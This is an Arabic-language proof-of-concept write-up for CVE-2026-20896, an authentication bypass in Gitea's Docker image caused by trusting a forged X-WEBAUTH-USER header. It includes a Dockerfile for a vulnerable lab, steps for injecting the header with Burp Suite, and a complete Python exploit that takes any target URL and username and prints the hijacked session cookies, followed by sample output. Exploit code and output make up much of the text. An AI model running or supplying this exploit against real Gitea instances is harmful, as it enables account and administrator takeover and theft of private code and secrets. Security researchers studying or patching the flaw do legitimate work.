
شرح وإثبات مفهوم (PoC) لاستغلال ثغرة تجاوز المصادقة CVE-2026-20896 في Gitea، مع إمكانية سرقة رموز جلسات المستخدمين الصالحين في مثيل Gitea.
Gitea هي منصة استضافة Git خفيفة الوزن ومفتوحة المصدر، تتيح للمؤسسات والمطورين إدارة مستودعات الكود المصدري، وتتبع المشكلات، ومراجعة التغييرات، والتعاون في مشاريع البرمجيات. وهي توفر وظائف مشابهة لمنصات مثل GitHub وGitLab، لكنها مصممة لتكون ذاتية الاستضافة وفعّالة وسهلة الصيانة، مما يجعلها مناسبة للمؤسسات التي ترغب في تحكم أكبر في الكود والبنية التحتية للتطوير لديها.
CVE-2026-20896 هي ثغرة حرجة لتجاوز المصادقة في صورة Gitea الرسمية على Docker، بتقييم CVSS 9.8 (حرج). وهي تؤثر على صور Gitea على Docker حتى الإصدار 1.26.2 وما يليه. السبب الجذري هو إعداد افتراضي غير آمن:
REVERSE_PROXY_TRUSTED_PROXIES = *، والذي يجعل Gitea يثق في رؤوس مصادقة الوكيل العكسي القادمة من أي عنوان IP. وعند تفعيل مصادقة الوكيل العكسي، يمكن لمهاجم بعيد غير مصادق تقديم رأسX-WEBAUTH-USERمزور وجعل Gitea يتعامل مع المهاجم على أنه المستخدم المحدد. وعلى وجه الخصوص، يمكن أن يؤدي انتحال هوية مسؤول إلى الحصول على وصول إداري كامل دون الحاجة إلى كلمة مرور أو رمز مصادقة صالح.
التأثير المحتمل خطير، لأن الوصول الإداري إلى Gitea يمكن أن يكشف مستودعات الكود المصدري الخاصة وبيانات الاعتماد وأسرار CI/CD، ويسمح بتعديل المستودعات ومفاتيح SSH وخطافات الويب والإعدادات الأخرى الحساسة أمنيًا. ترتبط الثغرة تحديدًا بالأنظمة التي تستخدم صورة Docker المتأثرة إلى جانب مصادقة الوكيل العكسي؛ وهي ليست مجرد خلل في آلية مصادقة كلمة المرور العادية في Gitea. عالجت Gitea المشكلة في الإصدار 1.26.3، وينبغي على المسؤولين الترقية إلى إصدار مصحح حديث ومراجعة إعدادات الثقة بالوكيل العكسي بدلاً من الاعتماد على إعداد البدل غير الآمن. كما أشارت تقارير إلى محاولات استغلال ضد نسخ Gitea المكشوفة، مما يجعل المعالجة الفورية أمرًا بالغ الأهمية.
سنقوم بتشغيل حاوية Docker باستخدام إصدار ضعيف من Gitea، في هذه الحالة الإصدار 1.26.2، باستخدام Dockerfile التالي:
FROM gitea/gitea:1.26.2
# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
GITEA__database__PATH=/data/gitea/gitea.db \
GITEA__security__INSTALL_LOCK=true \
GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true
RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu
CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'
# Start Gitea using the original image entrypoint.
/usr/bin/entrypoint "$@" &
pid=$!
trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT
# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
sleep 1
done
# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
--config "$CONFIG" \
--username jbkira \
--password "$ADMIN_PASSWORD" \
--email [email protected] \
--admin \
--must-change-password=false \
>/dev/null
wait "$pid"
SCRIPT
chmod +x /usr/local/bin/lab-entrypoint
EOF
ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]
ثم لبناء حاوية Docker استخدم الأمر التالي:
docker build -t gitea-cve-2026-20896-lab .
أخيرًا، انشر حاوية Docker باستخدام الأمر التالي:
docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab
إذا عرفنا اسم أي مستخدم على نسخة Gitea، يمكننا انتحال هويته عبر استغلال الرأس
X-WEBAUTH-USER: username؛ في هذا المختبر أنشأنا مستخدمًا باسم jbkira، لذا سنلتقط وصولًا عاديًا غير مصادق إلى الصفحة الرئيسية لـ Gitea باستخدام بروكسي، على سبيل المثال سأستخدم BurpSuite ونضع الرأس:
إذا أعدنا توجيه ذلك الطلب مع رأس
X-WEBAUTH-USER، فعندما نعود إلى صفحة Gitea في متصفحنا سنرى أننا الآن مسجلون الدخول كمستخدم jbkira. لكن الأمر لا يعمل دائمًا بهذه الطريقة، لذلك أنشأت نص PoC ينفذ الهجوم ويسرق ملف تعريف ارتباط الجلسة (session cookie) الخاص بالمستخدم المستهدف، ويمكنك بعد ذلك نسخه ولصقه في متصفحك للحصول على وصول إلى المستخدم المستهدف.
نص إثبات مفهوم آلي بلغة Python يستغل خلل تجاوز المصادقة ويسرق ملف تعريف ارتباط الجلسة الخاص بـالمستخدم المستهدف:
import requests
import argparse
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def attack(url, target_user):
METHOD = "GET"
HEADERS = {
"User-Agent": "Mozilla/5.0",
"X-WEBAUTH-USER": f"{target_user}",
}
resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
print(f"[+] Status code: {resp.status_code}\n")
# Cookies that the server has set (via Set-Cookie)
if resp.cookies:
print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
for cookie in resp.cookies:
print(f" {cookie.name} = {cookie.value}")
else:
print(f"{RED}[-] The server has not returned any cookies.{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
███ █ █ █████ ███ ███ ███ ███ ███ ███ ███ ███ ███
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ ████ ████ █ █ █ █ ████ ████ █ █ █ ███ ████ ████
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
███ █ █████ █████ ███ █████ ███ █████ ███ ███ ███ ███
""")
print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
banner()
args = argparse_setup()
attack(args.url, args.target_user)
if __name__ == "__main__":
main()
مثال على الاستخدام:
┌──(kali㉿jbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
└─$ python3 poc.py -u http://localhost:3000 -t jbkira
███ █ █ █████ ███ ███ ███ ███ ███ ███ ███ ███ ███
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ ████ ████ █ █ █ █ ████ ████ █ █ █ ███ ████ ████
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
███ █ █████ █████ ███ █████ ███ █████ ███ ███ ███ ███
CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira
github.com/judgedbykira | linkedin.com/in/yeray-medina
Only use this in real penetration tests or lab environments. Unauthorized use is illegal.
[+] Status code: 200